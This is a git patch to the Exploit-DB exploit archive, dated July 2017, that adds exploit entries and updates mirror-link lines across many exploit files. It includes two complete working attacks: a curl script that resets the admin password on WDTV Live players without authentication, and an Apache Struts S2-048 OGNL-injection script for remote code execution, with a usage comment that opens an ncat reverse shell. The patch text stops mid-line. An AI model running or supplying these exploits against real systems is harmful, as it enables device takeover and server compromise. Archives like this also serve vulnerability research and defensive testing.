From 635e0e935f19227daeda31d675a03baa2314ccf0 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sat, 15 Jul 2017 05:01:21 +0000 Subject: [PATCH] DB: 2017-07-15 4 new exploits Counter Strike: Condition Zero - '.BSP' Map File Code Execution Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution Apache Struts 2.3.x Showcase - Remote Code Execution (PoC) WDTV Live SMP 2.03.20 - Remote Password Reset --- files.csv | 4 + platforms/android/local/9477.txt | 4 +- platforms/bsd/remote/19520.txt | 6 +- platforms/hardware/webapps/29959.txt | 2 +- platforms/hardware/webapps/42326.txt | 63 +++++ platforms/lin_x86-64/local/40049.c | 2 +- platforms/lin_x86-64/remote/32277.txt | 2 +- platforms/linux/dos/10203.txt | 2 +- platforms/linux/dos/35081.txt | 2 +- platforms/linux/local/37168.txt | 2 +- platforms/linux/local/39772.txt | 2 +- platforms/linux/local/9435.txt | 2 +- platforms/linux/local/9436.txt | 2 +- platforms/linux/webapps/30085.txt | 2 +- platforms/multiple/dos/10327.txt | 2 +- platforms/multiple/dos/4601.txt | 2 +- platforms/multiple/local/10207.txt | 2 +- platforms/multiple/local/10326.txt | 2 +- platforms/multiple/webapps/42324.py | 51 ++++ platforms/php/remote/32618.txt | 2 +- platforms/php/webapps/12617.txt | 2 +- platforms/php/webapps/24480.txt | 2 +- platforms/win_x86-64/local/20861.txt | 2 +- platforms/windows/dos/10204.txt | 2 +- platforms/windows/dos/12080.txt | 2 +- platforms/windows/dos/22402.txt | 2 +- platforms/windows/dos/22464.txt | 2 +- platforms/windows/dos/23107.txt | 2 +- platforms/windows/dos/23201.txt | 4 +- platforms/windows/dos/31899.txt | 2 +- platforms/windows/dos/33056.pl | 2 +- platforms/windows/dos/4335.txt | 2 +- platforms/windows/local/17473.txt | 2 +- platforms/windows/local/17474.txt | 2 +- platforms/windows/local/29881.txt | 2 +- platforms/windows/local/30007.txt | 2 +- platforms/windows/local/31895.txt | 2 +- platforms/windows/local/35661.txt | 4 +- platforms/windows/local/35901.txt | 4 +- platforms/windows/local/35902.txt | 4 +- platforms/windows/local/37049.txt | 4 +- platforms/windows/local/40118.txt | 2 +- platforms/windows/local/42325.py | 237 ++++++++++++++++ platforms/windows/local/4625.txt | 2 +- platforms/windows/remote/20547.txt | 2 +- platforms/windows/remote/20758.c | 2 +- platforms/windows/remote/23080.txt | 2 +- platforms/windows/remote/32851.html | 2 +- platforms/windows/remote/42327.html | 375 ++++++++++++++++++++++++++ platforms/windows/remote/4948.txt | 2 +- platforms/windows/remote/5213.txt | 2 +- 51 files changed, 784 insertions(+), 54 deletions(-) create mode 100755 platforms/hardware/webapps/42326.txt create mode 100755 platforms/multiple/webapps/42324.py create mode 100755 platforms/windows/local/42325.py create mode 100755 platforms/windows/remote/42327.html diff --git a/files.csv b/files.csv index 8f0501a04..992dcebfe 100644 --- a/files.csv +++ b/files.csv @@ -9132,6 +9132,7 @@ id,file,description,date,author,platform,type,port 42275,platforms/lin_x86-64/local/42275.c,"Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64' Local Privilege Escalation 'Stack Clash' Exploit",2017-06-28,"Qualys Corporation",lin_x86-64,local,0 42276,platforms/lin_x86/local/42276.c,"Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic' Local Privilege Escalation 'Stack Clash' Exploit",2017-06-28,"Qualys Corporation",lin_x86,local,0 42310,platforms/windows/local/42310.txt,"Pelco VideoXpert 1.12.105 - Privilege Escalation",2017-07-10,LiquidWorm,windows,local,0 +42325,platforms/windows/local/42325.py,"Counter Strike: Condition Zero - '.BSP' Map File Code Execution",2017-07-07,"Grant Hernandez",windows,local,0 1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80 2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80 5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139 @@ -15693,6 +15694,7 @@ id,file,description,date,author,platform,type,port 42303,platforms/multiple/remote/42303.txt,"Yaws 1.91 - Remote File Disclosure",2017-07-07,hyp3rlinx,multiple,remote,0 42304,platforms/windows/remote/42304.py,"Easy File Sharing Web Server 7.2 - GET Request 'PassWD' Buffer Overflow (DEP Bypass)",2017-07-08,"Sungchul Park",windows,remote,0 42315,platforms/windows/remote/42315.py,"Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)",2017-07-11,sleepya,windows,remote,0 +42327,platforms/windows/remote/42327.html,"Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution",2017-07-14,Rh0,windows,remote,0 14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0 13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0 13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0 @@ -38134,3 +38136,5 @@ id,file,description,date,author,platform,type,port 42321,platforms/hardware/webapps/42321.txt,"Dasan Networks GPON ONT WiFi Router H64X Series - Cross-Site Request Forgery",2017-07-13,LiquidWorm,hardware,webapps,0 42322,platforms/hardware/webapps/42322.txt,"Dasan Networks GPON ONT WiFi Router H64X Series - Privilege Escalation",2017-07-13,LiquidWorm,hardware,webapps,0 42323,platforms/hardware/webapps/42323.txt,"Dasan Networks GPON ONT WiFi Router H64X Series - Configuration Download",2017-07-13,LiquidWorm,hardware,webapps,0 +42324,platforms/multiple/webapps/42324.py,"Apache Struts 2.3.x Showcase - Remote Code Execution (PoC)",2017-07-07,"Vex Woo",multiple,webapps,0 +42326,platforms/hardware/webapps/42326.txt,"WDTV Live SMP 2.03.20 - Remote Password Reset",2017-07-14,Sw1tCh,hardware,webapps,0 diff --git a/platforms/android/local/9477.txt b/platforms/android/local/9477.txt index c46511c63..d2acc6479 100755 --- a/platforms/android/local/9477.txt +++ b/platforms/android/local/9477.txt @@ -1,6 +1,6 @@ Source for exploiting CVE-2009-2692 on Android; Hole is closed in Android kernels released August 2009 or later. -orig: http://zenthought.org/content/file/android-root-2009-08-16-source -EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/9477.tar.gz (android-root-20090816.tar.gz) +http://zenthought.org/content/file/android-root-2009-08-16-source +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/9477.tar.gz (android-root-20090816.tar.gz) # milw0rm.com [2009-08-18] diff --git a/platforms/bsd/remote/19520.txt b/platforms/bsd/remote/19520.txt index f75228660..0a8d57daf 100755 --- a/platforms/bsd/remote/19520.txt +++ b/platforms/bsd/remote/19520.txt @@ -3,6 +3,9 @@ This exploit was leaked on the Full Disclosure mailing list: http://seclists.org/fulldisclosure/2012/Jun/404 +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/19520.zip + + BSD telnetd Remote Root Exploit *ZERODAY* By Kingcope Year 2011 @@ -48,6 +51,3 @@ FreeBSD h4x.Belkin 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17 02:41:51 UTC 2011 root () mason cse buffalo edu:/usr/obj/usr/src/sys/GENERIC amd64 uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) - -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/19520.zip - diff --git a/platforms/hardware/webapps/29959.txt b/platforms/hardware/webapps/29959.txt index e99a23ba0..471551bc8 100755 --- a/platforms/hardware/webapps/29959.txt +++ b/platforms/hardware/webapps/29959.txt @@ -44,4 +44,4 @@ http://alguienenlafisi.blogspot.com Root-Node -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/29959.nse \ No newline at end of file +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/29959.nse \ No newline at end of file diff --git a/platforms/hardware/webapps/42326.txt b/platforms/hardware/webapps/42326.txt new file mode 100755 index 000000000..013c7dcd8 --- /dev/null +++ b/platforms/hardware/webapps/42326.txt @@ -0,0 +1,63 @@ +####################################################### +## WDTV Live SMP Remote Password Reset Vulnerability ## +####################################################### + +Date: Jul 14 2017 +Author: sw1tch +Demo: https://www.sw1tch.net/2017/07/12/wdtv-live-smb-exploit/ +Description: A simple remotely exploitable web application vulnerability +for the WDTV Live Streaming Media Player and possibly other WDTV systems. + +-INTRO- + +The WDTV Live SMP is a is a consumer device produced by Western Digital +that plays videos, images, and music from USB drives. It can play +high-definition video through an HDMI port, and standard video through +composite video cables. It can play most common video and audio formats. As +of August 2016, the WDTV appears to be discontinued. + +The latest firmware version appears to be 2.03.20. + +-VULNERABILITY- + +The WDTV Live SMP runs an embedded webserver, allowing authenticated users +to upload themes, manage device settings, access a virtual remote and other +tasks. To authenticate, a user needs to provide the correct password (no +username). + +An unauthenticated attacker can update the password via a constructed GET +request, subsequently taking control of many functions of the device. + +Vulnerable versions include at least firmware 2.03.20, and likely many more +older versions. + +-POC- + +#!/bin/bash + +echo +echo "WDTV Live SMP Admin Password Reset Exploit" +echo "Apparently sw1tch found this guff in 2017" +echo +if [ $# != 2 ]; then + echo "Usage: `basename $0` " +echo + exit $ERR_ARG +fi + +# Vars... +target=$1 +password=$2 + +echo -n "[*] Slamming your chosen password at $target now..." +curl "http://$target/DB/modfiy_pw.php" -d "password=$password" +echo "done!" +echo "[*] Try logging in to http://$target/ using $password" +echo +exit 0 + +-FIX- + +None available. Device appears to be EOL so unlikely to be remediated. + +-------------------------------------------------------------------------------------------------------------------------------- diff --git a/platforms/lin_x86-64/local/40049.c b/platforms/lin_x86-64/local/40049.c index 839c41cb0..714ab0128 100755 --- a/platforms/lin_x86-64/local/40049.c +++ b/platforms/lin_x86-64/local/40049.c @@ -1,5 +1,5 @@ /* -EDB Note: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40053.zip +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40053.zip */ --------------------------------------------------- decr.c --------------------------------------------------- diff --git a/platforms/lin_x86-64/remote/32277.txt b/platforms/lin_x86-64/remote/32277.txt index 3cd81654c..821194f54 100755 --- a/platforms/lin_x86-64/remote/32277.txt +++ b/platforms/lin_x86-64/remote/32277.txt @@ -18,4 +18,4 @@ This is a generic exploit for 64-bit nginx which uses a new attack technique (BR -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/32277.tgz \ No newline at end of file +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/32277.tgz \ No newline at end of file diff --git a/platforms/linux/dos/10203.txt b/platforms/linux/dos/10203.txt index 01162ad5d..7bc07bae8 100755 --- a/platforms/linux/dos/10203.txt +++ b/platforms/linux/dos/10203.txt @@ -61,4 +61,4 @@ Remote attackers may leverage this issue to cause denial-of-service conditions. NOTE: BibTeX may be shipped with various packages, such as TeTeX or TexLive, that may also be vulnerable. -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/10203.tar.bz2 (2009-11-22-bibtex-crash.tar.bz2) \ No newline at end of file +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/10203.tar.bz2 (2009-11-22-bibtex-crash.tar.bz2) \ No newline at end of file diff --git a/platforms/linux/dos/35081.txt b/platforms/linux/dos/35081.txt index 253c1bd8d..203ddf7f0 100755 --- a/platforms/linux/dos/35081.txt +++ b/platforms/linux/dos/35081.txt @@ -23,7 +23,7 @@ out-of-bounds crashes due to very limited range checking. In binutils $ wget http://lcamtuf.coredump.cx/strings-bfd-badptr2 -EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35081.bin +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35081.bin ... $ strings strings-bfd-badptr2 diff --git a/platforms/linux/local/37168.txt b/platforms/linux/local/37168.txt index bb04531d5..c6239e8cb 100755 --- a/platforms/linux/local/37168.txt +++ b/platforms/linux/local/37168.txt @@ -9,6 +9,6 @@ # CVE : N/A Source: https://github.com/mdsecresearch/Publications/blob/master/exploits/rainbowdash.tgz?raw=true -EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37168.tgz +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37168.tgz Blog post for more detail: http://blog.mdsec.co.uk/2015/05/my-lulzy-pwniez-abusing-kernel-elf.html \ No newline at end of file diff --git a/platforms/linux/local/39772.txt b/platforms/linux/local/39772.txt index f4ab762c9..58ce5994b 100755 --- a/platforms/linux/local/39772.txt +++ b/platforms/linux/local/39772.txt @@ -125,5 +125,5 @@ Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id= Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552 -E-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip diff --git a/platforms/linux/local/9435.txt b/platforms/linux/local/9435.txt index 44b4d40cb..0a49f4500 100755 --- a/platforms/linux/local/9435.txt +++ b/platforms/linux/local/9435.txt @@ -30,6 +30,6 @@ http://www.youtube.com/watch?v=arAfIp7YzZ4 */ http://www.grsecurity.net/~spender/wunderbar_emporium.tgz -EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/9435.tgz (2009-wunderbar_emporium.tgz) +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/9435.tgz (2009-wunderbar_emporium.tgz) # milw0rm.com [2009-08-14] diff --git a/platforms/linux/local/9436.txt b/platforms/linux/local/9436.txt index 3ae77a18e..45113e21f 100755 --- a/platforms/linux/local/9436.txt +++ b/platforms/linux/local/9436.txt @@ -4,6 +4,6 @@ Quick and dirty exploit for this one: http://www.frasunek.com/proto_ops.tgz -EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/9436.tgz (2009-proto_ops.tgz) +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/9436.tgz (2009-proto_ops.tgz) # milw0rm.com [2009-08-14] diff --git a/platforms/linux/webapps/30085.txt b/platforms/linux/webapps/30085.txt index 84ee2ca28..028913eb9 100755 --- a/platforms/linux/webapps/30085.txt +++ b/platforms/linux/webapps/30085.txt @@ -8,7 +8,7 @@ # CVE : No CVE, no patch just 0Day # State : Critical -# Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/30085.zip (zimbraexploit_rubina119.zip) +# Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/30085.zip (zimbraexploit_rubina119.zip) ---------------Description----------------- diff --git a/platforms/multiple/dos/10327.txt b/platforms/multiple/dos/10327.txt index 91c3049bc..655b665cc 100755 --- a/platforms/multiple/dos/10327.txt +++ b/platforms/multiple/dos/10327.txt @@ -146,5 +146,5 @@ Avaya Intuity AUDIX LX 2.0 Avaya Intuity AUDIX LX 1.0 Avaya Intuity AUDIX -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/10327.pdf (2009-12-05-34337.pdf) +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/10327.pdf (2009-12-05-34337.pdf) diff --git a/platforms/multiple/dos/4601.txt b/platforms/multiple/dos/4601.txt index eeebf5025..62b5a2ecf 100755 --- a/platforms/multiple/dos/4601.txt +++ b/platforms/multiple/dos/4601.txt @@ -1,6 +1,6 @@ Ubuntu 6.06 DHCPd bug Remote Denial of Service Exploit Author: RoMaNSoFt -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/4601.tgz (1022007-DoS-CVE-2007-5365.tgz) +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/4601.tgz (1022007-DoS-CVE-2007-5365.tgz) # milw0rm.com [2007-11-02] diff --git a/platforms/multiple/local/10207.txt b/platforms/multiple/local/10207.txt index 1c55117c4..1ca66ad9c 100755 --- a/platforms/multiple/local/10207.txt +++ b/platforms/multiple/local/10207.txt @@ -121,4 +121,4 @@ VMWare ESX Server 4.0 ESX400-200909401 VMWare ESX Server 3.5 ESX350-200910401 VMWare ACE 2.5.3 Build 185404 -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/10207.tar.gz (2009-11-22-vmware86.tar.gz) \ No newline at end of file +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/10207.tar.gz (2009-11-22-vmware86.tar.gz) \ No newline at end of file diff --git a/platforms/multiple/local/10326.txt b/platforms/multiple/local/10326.txt index 6ee461b8c..dd75f4b92 100755 --- a/platforms/multiple/local/10326.txt +++ b/platforms/multiple/local/10326.txt @@ -114,4 +114,4 @@ Ghostscript Ghostscript 8.56 Ghostscript Ghostscript 8.54 Ghostscript Ghostscript 8.15 -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/10326.ps (2009-12-05-34340.ps) \ No newline at end of file +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/10326.ps (2009-12-05-34340.ps) \ No newline at end of file diff --git a/platforms/multiple/webapps/42324.py b/platforms/multiple/webapps/42324.py new file mode 100755 index 000000000..7cf7880e3 --- /dev/null +++ b/platforms/multiple/webapps/42324.py @@ -0,0 +1,51 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +# Just a demo for CVE-2017-9791 + + +import requests + + +def exploit(url, cmd): + print("[+] command: %s" % cmd) + + payload = "%{" + payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + payload += "(#_memberAccess?(#_memberAccess=#dm):" + payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + payload += "(#ognlUtil.getExcludedPackageNames().clear())." + payload += "(#ognlUtil.getExcludedClasses().clear())." + payload += "(#context.setMemberAccess(#dm))))." + payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd + payload += "}" + + data = { + "name": payload, + "age": 20, + "__checkbox_bustedBefore": "true", + "description": 1 + } + + headers = { + 'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster' + } + requests.post(url, data=data, headers=headers) + + +if __name__ == '__main__': + import sys + + if len(sys.argv) != 3: + print("python %s " % sys.argv[0]) + sys.exit(0) + + print('[*] exploit Apache Struts2 S2-048') + url = sys.argv[1] + cmd = sys.argv[2] + + exploit(url, cmd) + + # $ ncat -v -l -p 4444 & + # $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444" \ No newline at end of file diff --git a/platforms/php/remote/32618.txt b/platforms/php/remote/32618.txt index a0f1259e2..8be90ee4b 100755 --- a/platforms/php/remote/32618.txt +++ b/platforms/php/remote/32618.txt @@ -72,4 +72,4 @@ mysql root, facebook/twitter accounts and so on. --- -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/32618.tgz \ No newline at end of file +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/32618.tgz \ No newline at end of file diff --git a/platforms/php/webapps/12617.txt b/platforms/php/webapps/12617.txt index 9e9496408..dbd994939 100755 --- a/platforms/php/webapps/12617.txt +++ b/platforms/php/webapps/12617.txt @@ -27,5 +27,5 @@ Test Environment: ==================================================================== Download the following file for more instructions and exploits: -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/12617.zip (file_thingie_v255_Jeremiah.zip) +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/12617.zip (file_thingie_v255_Jeremiah.zip) ==================================================================== \ No newline at end of file diff --git a/platforms/php/webapps/24480.txt b/platforms/php/webapps/24480.txt index 4a6d0021d..1cdee1774 100755 --- a/platforms/php/webapps/24480.txt +++ b/platforms/php/webapps/24480.txt @@ -22,5 +22,5 @@ Cheers! # - A valid account as at least a user # - The target to have outgoing internet connectivity -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/24480.tar.gz +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/24480.tar.gz diff --git a/platforms/win_x86-64/local/20861.txt b/platforms/win_x86-64/local/20861.txt index 53311f28e..bd371a7ef 100755 --- a/platforms/win_x86-64/local/20861.txt +++ b/platforms/win_x86-64/local/20861.txt @@ -2,5 +2,5 @@ Source: http://packetstormsecurity.org/files/115908/sysret.rar This is proof of concept code that demonstrates the Microsoft Windows kernel (Intel/x64) SYSRET vulnerability as described in MS12-042. The shellcode disables code signing and will grant NT SYSTEM privileges to a specified application or already running process. -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/20861.rar +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/20861.rar diff --git a/platforms/windows/dos/10204.txt b/platforms/windows/dos/10204.txt index 949d1762d..f1672d64f 100755 --- a/platforms/windows/dos/10204.txt +++ b/platforms/windows/dos/10204.txt @@ -14,4 +14,4 @@ Foxit Reader is prone to a remote code-execution vulnerability because is fails An attacker can exploit this issue by supplying a malicious PDF file or webpage. Successful exploits may allow the attacker to execute arbitrary code in the context of a user running the affected application. Failed attempts will likely result in denial-of-service conditions. -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/10204.tar (2009-11-22-36668.tar) +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/10204.tar (2009-11-22-36668.tar) diff --git a/platforms/windows/dos/12080.txt b/platforms/windows/dos/12080.txt index 55c5d5373..0cf5b77f9 100755 --- a/platforms/windows/dos/12080.txt +++ b/platforms/windows/dos/12080.txt @@ -19,7 +19,7 @@ DoS("DoS"); ------------------------- -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/12080.pdf +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/12080.pdf Regards diff --git a/platforms/windows/dos/22402.txt b/platforms/windows/dos/22402.txt index b999be082..c16a3b4a2 100755 --- a/platforms/windows/dos/22402.txt +++ b/platforms/windows/dos/22402.txt @@ -57,4 +57,4 @@ User mode write access violations that are not near NULL are exploitable. Proof of concept included. http://www21.zippyshare.com/v/83302158/file.html -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/22402.rar +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/22402.rar diff --git a/platforms/windows/dos/22464.txt b/platforms/windows/dos/22464.txt index 494788762..9cf537034 100755 --- a/platforms/windows/dos/22464.txt +++ b/platforms/windows/dos/22464.txt @@ -37,4 +37,4 @@ ntdll!RtlEnterCriticalSection+0x8: Proof of concept included. http://www42.zippyshare.com/v/23669551/file.html -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/22464.pdf +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/22464.pdf diff --git a/platforms/windows/dos/23107.txt b/platforms/windows/dos/23107.txt index b3bf1240d..16bd2c343 100755 --- a/platforms/windows/dos/23107.txt +++ b/platforms/windows/dos/23107.txt @@ -75,4 +75,4 @@ User mode write access violations that are not near NULL are exploitable. ################################################################################ Proof of concept included. http://www21.zippyshare.com/v/83302158/file.html -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/23107.zip +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/23107.zip diff --git a/platforms/windows/dos/23201.txt b/platforms/windows/dos/23201.txt index a8cd3b4d2..c7d41a768 100755 --- a/platforms/windows/dos/23201.txt +++ b/platforms/windows/dos/23201.txt @@ -65,6 +65,6 @@ User mode DEP access violations are exploitable. ################################################################################ Proof of concept included. -Exploit-DB mirror: http://www39.zippyshare.com/v/91522221/file.html -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/23201.rar +http://www39.zippyshare.com/v/91522221/file.html +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/23201.rar diff --git a/platforms/windows/dos/31899.txt b/platforms/windows/dos/31899.txt index fa05e3df0..8bf1438c3 100755 --- a/platforms/windows/dos/31899.txt +++ b/platforms/windows/dos/31899.txt @@ -76,4 +76,4 @@ libmpgatofixed32_plugin+0x00000000000016b4 (Hash=0xf1ffd179.0x98f1d37c) 176efdb4 000003e8 -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/31899.avs \ No newline at end of file +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/31899.avs \ No newline at end of file diff --git a/platforms/windows/dos/33056.pl b/platforms/windows/dos/33056.pl index 65dca3bee..2c3401ba1 100755 --- a/platforms/windows/dos/33056.pl +++ b/platforms/windows/dos/33056.pl @@ -1,4 +1,4 @@ -## Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/33056-sepm-secars-poc-v0.3.tar.gz +# Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/33056-sepm-secars-poc-v0.3.tar.gz #!/usr/bin/perl -w # Exploit Title: Symantec Endpoint Protection Manager 12.1.x - SEH Overflow POC diff --git a/platforms/windows/dos/4335.txt b/platforms/windows/dos/4335.txt index 3a0be0d74..27a6649f1 100755 --- a/platforms/windows/dos/4335.txt +++ b/platforms/windows/dos/4335.txt @@ -5,6 +5,6 @@ Yahoo! Messenger 8.1.0.413 (webcam) Remote Crash Exploit 3.when the otherside accept the invatation , inject the dll to local yahoo! messenger 8.1.0.413 's process. 4 . the otherside's yahoo! messenger will be crashed. -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/4335.rar (08292007-expyahoo.rar) +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/4335.rar (08292007-expyahoo.rar) # milw0rm.com [2007-08-29] diff --git a/platforms/windows/local/17473.txt b/platforms/windows/local/17473.txt index eb9199cfb..b83b7608f 100755 --- a/platforms/windows/local/17473.txt +++ b/platforms/windows/local/17473.txt @@ -16,5 +16,5 @@ # also check here for The Persian docs of this methods and more : http://www.0days.ir/article/ -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/17473.pdf (cve-2011-0611_exploit.pdf) +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/17473.pdf (cve-2011-0611_exploit.pdf) diff --git a/platforms/windows/local/17474.txt b/platforms/windows/local/17474.txt index da19316a4..3959d6e66 100755 --- a/platforms/windows/local/17474.txt +++ b/platforms/windows/local/17474.txt @@ -149,4 +149,4 @@ stores in stack :D -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/17474.doc (cve-2011-3333_exploit.doc) +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/17474.doc (cve-2011-3333_exploit.doc) diff --git a/platforms/windows/local/29881.txt b/platforms/windows/local/29881.txt index 8733c0105..35dda9404 100755 --- a/platforms/windows/local/29881.txt +++ b/platforms/windows/local/29881.txt @@ -3,7 +3,7 @@ Somehow, our script got on to the Russian forums :/ @w3bd3vil and @abh1sek -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/29881.tar.gz +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/29881.tar.gz Adobe Acrobat Reader ASLR/DEP bypass Exploit with SANDBOX BYPASS ================================================================= diff --git a/platforms/windows/local/30007.txt b/platforms/windows/local/30007.txt index e41d9e7bf..f9477e61d 100755 --- a/platforms/windows/local/30007.txt +++ b/platforms/windows/local/30007.txt @@ -32,4 +32,4 @@ Trendmicro, CDC -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/30007.zip \ No newline at end of file +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/30007.zip \ No newline at end of file diff --git a/platforms/windows/local/31895.txt b/platforms/windows/local/31895.txt index 1b161c4b2..514e39419 100755 --- a/platforms/windows/local/31895.txt +++ b/platforms/windows/local/31895.txt @@ -30,4 +30,4 @@ The expolit is in the file attatchment named shellcode.txt 2． Select all the content in the editor 3． Click Menu Plugins->CCompletion->Go to identifier (Open in firt view) F11 -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/31895.7z +Exploit-DB Mirror: 